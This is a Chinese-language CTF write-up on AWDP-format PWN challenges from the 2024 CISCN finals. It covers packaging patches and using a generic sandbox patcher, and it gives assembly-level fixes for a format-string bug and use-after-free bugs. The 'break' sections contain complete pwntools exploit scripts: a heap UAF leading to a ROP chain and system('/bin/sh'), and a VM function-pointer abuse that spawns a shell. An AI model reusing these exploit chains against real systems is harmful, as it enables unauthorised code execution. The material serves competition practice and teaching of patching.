AWDP赛制PWN速览

awdp主要有fix和break两个环节,这里主要是讲解一下fix

TAR包打包与上传

tar包里一般是一个sh文件,然后就是一个题目附件

demo

#!/bin/sh

chmod +x wasmforge
mv -f wasmforge /home/ctf/wasmforge

打包指令

tar -cf update.tar update

这里打包的时候需要创建一个update的目录,把文件放在这个目录里面需要

通防

这个模式下通防是可能有用的

通防下载

git clone https://github.com/TTY-flag/evilPatcher
test测试需要注意的点

32位环境的安装

sudo apt update
sudo apt install gcc-multilib libc6-dev-i386

编译

sed -i 's/\r$//' compile.sh
./compile.sh

通防使用指南

python3 evilPatcher.py \
  test/hello64_nopie \
  sandboxs/mini_sandbox.asm \
  1

fix

目录

D:\Users\Lenovo\Desktop\桌面整理_2026-05-20\06_下载附件与临时文件\桌面\2024cisccn\2024CISCN-决赛awdp-pwn

类型一:格式化字符串漏洞

这里有个格式化漏洞

  for ( n3 = 3; n3 > 0; --n3 )
  {
    printf("Now, you have %d times to tell me what is your favourite anime!\nwhat's your favourite anime: ", n3);
    format = (char *)readline();
    printf("your like ");
    printf(format);
    puts("!?\nI like it too!");
  }
  return 0;
}

这里需要修一下这个函数

右键之后选择这个工具

把这里的汇编改改即可,对应的真实字节会连同一起修改

类型二:UAF

这里是有uaf

void __fastcall sub_1573(signed int n6)
{
  if ( (unsigned int)n6 <= 6 && *((_QWORD *)&unk_A080 + n6) )
    free(*((void **)&unk_A080 + n6));
  else
    puts("The index is not within the range");
}

有两种修法,一种是压缩,一种是jmp

fix一:压缩

(一):汇编利用

这个在实战中好像不行,因为这个是清空寄存器的地址,而不是清空寄存器的解引用地址,也可以作为参考

我们只有这一块空间

.text:00000000000015B9
.text:00000000000015B9                                                 loc_15B9:
.text:00000000000015B9 8B 45 FC                                        mov     eax, [rbp+var_4]
.text:00000000000015BC 48 98                                           cdqe
.text:00000000000015BE 48 8D 14 C5 00 00 00 00                         lea     rdx, ds:0[rax*8]
.text:00000000000015C6 48 8D 05 B3 8A 00 00                            lea     rax, unk_A080
.text:00000000000015CD 48 8B 04 02                                     mov     rax, [rdx+rax]
.text:00000000000015D1 48 89 C7                                        mov     rdi, rax        ; ptr
.text:00000000000015D4 E8 87 FB FF FF                                  call    _free

我们得进入这一块空间,绕过一段逻辑

考察的是对于汇编的理解,修的话是下面这样的

.text:00000000000015B9 movsxd  rdx, [rbp+var_4]
.text:00000000000015BD lea     rax, unk_A080
.text:00000000000015C4 xor     edi, edi
.text:00000000000015C6 xchg    rdi, qword ptr ds:dword_0[rax+rdx*8] ; ptr
.text:00000000000015CA call    _free

这里的lea是需要

lea rax, [rip + 0x8ABC]

这里mov是需要,8字节

movsxd

这里的xchg rdi, qword ptr ds:dword_0[rax+rdx*8] ; ptr,是需要

xchg    rdi, [rax+rdx*8]

这里的movsxd rdx, [rbp+var_4],是需要

movsxd  rdx, dword ptr [rbp-4]

(二):弹栈

mov     rax, qword ptr [rbp+var_4]
shl     eax, 3
lea     rdx, qword_A080
add     rdx, rax
push    rdx
mov     rdi, [rdx]
call    _free
pop     rdx
mov     [rdx], rdi
nop
nop

fix二:jmp

call    0x1160

补充快捷键

U:Undefine,取消当前数据或指令定义。

C:Make code,把现有机器码识别为指令。

N:Rename,给地址或函数重命名,也就是创建可读标签。

P:Create function,把当前位置定义成函数。

G:跳转到指定地址。

还需要改标志位

keypatch的话直接在call free那里改就行

这里会自动打上标签

CISCN

pwn03

这个是一个结构体

ptr
size

原先代码

取chunk的地址
.text:0000000000400E15 mov     eax, [rbp+var_4]
.text:0000000000400E18 cdqe
.text:0000000000400E1A shl     rax, 4
.text:0000000000400E1E add     rax, 602120h
.text:0000000000400E24 mov     rax, [rax]
.text:0000000000400E27 mov     rdi, rax        ; ptr
.text:0000000000400E2A call    _free
.text:0000000000400E2F mov     edi, offset aCancelled ; "cancelled"
.text:0000000000400E34 call    _puts

fix

用的弹栈

mov     eax, [rbp+index]
shl     eax, 4
add     rax, 602120h
push    rax             ; ptr
mov     rdi, [rax]      ; ptr
call    _free
pop     rax
lea     edi, [rax]
xor     edi, edi
mov     edi, offset aCancelled ; "cancelled"
call    _puts

break

有个uaf,索引充足

2.37,没有沙盒

打栈劫持最后执行即可

#!/usr/bin/python3
from pwn import *


context(log_level="debug",os="linux",arch="amd64")


pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()


file_name = './houseofsnake_plus'
#io = process(file_name)
#gdb.attach(io)
#pause()
io = remote('192.168.18.25',8888)
elf = ELF(file_name)
libc = ELF("./libc.so.6")

 
def cd(choose):
    rt(">>")
    sl(str(choose))


def add(idx,size):
    cd(1)
    rt("index:")
    sl(str(idx))
    rt("size:")
    sl(str(size))


def edit(idx,size,content):
    cd(4)
    rt("index:")
    sl(str(idx))
    rt("length:")
    sl(str(size))
    s(content)


def free(idx):
    cd(2)
    rt("index:")
    sl(str(idx))
    
def show(idx):
    cd(3)
    rt("index:")
    sl(str(idx))


add(0,0x410)
add(1,0x410)
add(2,0x410)
add(3,0x410)
free(0)
free(2)
show(0)


libc.address = ru(8) - 0x1cbce0
heap = ru(8)
pr(libc.address)
pr(heap)


free(1)
free(3)


add(4,0x80)
add(5,0x80)
free(4)
free(5)




addr = 0x602120 ^ ((heap-0x7a0) >> 12)
edit(5,0x8,p64(addr))


add(6,0x80)
add(7,0x80)


edit(7,0x10,flat(libc.sym['environ'],0x8))
show(0)
stack = ru(8)
pr(stack)


pop_rdi = next(libc.search(asm("pop rdi;ret"),executable=True))
sh = next(libc.search("/bin/sh"))
system = libc.sym["system"]
ret = 0x400EDC


edit(7,0x10,flat(stack-0x190,0x200))
edit(0,0x20,flat(ret,pop_rdi,sh,system))



it()

pwn02

目标代码

    else if ( (int)__0 > 33 )                   // 执行
    {
      if ( (_DWORD)__0 != '0' )
        return __0;
      pc_1 = pc;
      _rip_ = pc + 1;
      num1 = *(_BYTE *)(length + pc_1);
      v10 = rd16((unsigned __int16 *)(length + _rip_));
      zero = _rip_ + 2;
      (*(void (__fastcall **)(__int64))(code_base + 8 * (num1 + 128LL)))(v10 + code_base);// 函数指针调用
    }

fix

改一下数值,改成120就能过

break

执行逻辑错误,一开始执行puts泄露栈地址,后面直接execve获取shell即可

#!/usr/bin/python3
from pwn import *

context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()

io = process('./tinywasm_jail')
gdb.attach(io,"b *0x401205")
pause()
#p = remote("192.168.18.27",8888)
p = remote("localhost",8888)
elf = ELF(file_name)
libc = elf.libc


def cd(choose):
    rt(">>")
    sl(str(choose))

def mov64_addr_reg(a_idx,r_idx):
    pay = p8(33)+p16(a_idx)+p8(r_idx)
    return pay

def exec(f_idx,a_idx):
    pay = p8(48)+p8(f_idx)+p16(a_idx)
    return pay

def write64_reg(idx,data):
    pay = p8(16)+p8(idx)+(data)
    return pay

def mov64_reg_addr(r_idx,a_idx):
    pay = p8(32)+p8(r_idx)+p16(a_idx)
    return pay

#gdb.attach(io,"b *0x401205")
#pause()
cd(1)
pause()
pay = exec(0,0x400)

rt("size:")
sl(str(len(pay)))
rt("hex:")
s(pay.hex())
libc.address = ru(6) - 0x875a0
pr(libc.address)

cd(1)
pay = (
    write64_reg(0, p64(libc.sym['system'])) +
    write64_reg(1, b'/bin/sh\0') +
    mov64_addr_reg(0x400, 0) +
    mov64_addr_reg(0, 1) +
    exec(0, 0)
)
rt("size:")
print(len(pay))
sl(str(32))
pause()
rt("hex:")
s(pay.hex())

it()